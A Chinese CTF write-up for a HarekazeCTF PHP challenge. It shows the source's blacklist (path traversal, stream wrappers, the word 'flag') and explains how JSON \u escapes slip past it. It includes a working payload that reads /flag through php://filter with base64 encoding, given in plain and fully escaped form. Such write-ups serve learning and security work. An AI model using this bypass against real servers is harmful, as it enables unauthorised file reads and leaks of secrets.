题目不难,主要就是考察 JSON 在decode时 会把\U**** 给转义。那么就可以绕过黑名单了。
我们不难发现源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php error_reporting(0);
if (isset($_GET['source'])) { show_source(__FILE__); exit(); }
function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
$body = file_get_contents('php://input'); $json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; }
// no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
|
我们仔细看到这里:
1 2 3 4 5 6
| $body = file_get_contents('php://input'); $json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page);
|
我们POST传入的值会被json_decode,然后进行判断是否 包含 $banword 中的值,且要json中要定义一个page键。
1 2 3 4 5
| $banword = [ '\.\.', '(php|file|glob|data|tp|zip|zlib|phar):', 'flag' ];
|
不能出现flag,我们可以用\u**** 的格式输入flag然后json_decode时就会解密为flag了,我们就可以读到flag。但是接下来还会有一个判断:
1 2 3
| if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; }
|
也就是说内容中也不能出现 上面的黑名单,此时我们想到php://filter读取flag的base64格式,payload如下:(注意是双引号)
1
| {"page":"php://filter/convert.base64-encode/resource=/flag"}
|
然后值进行了\U****转换后为:
1
| {"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}
|
![]()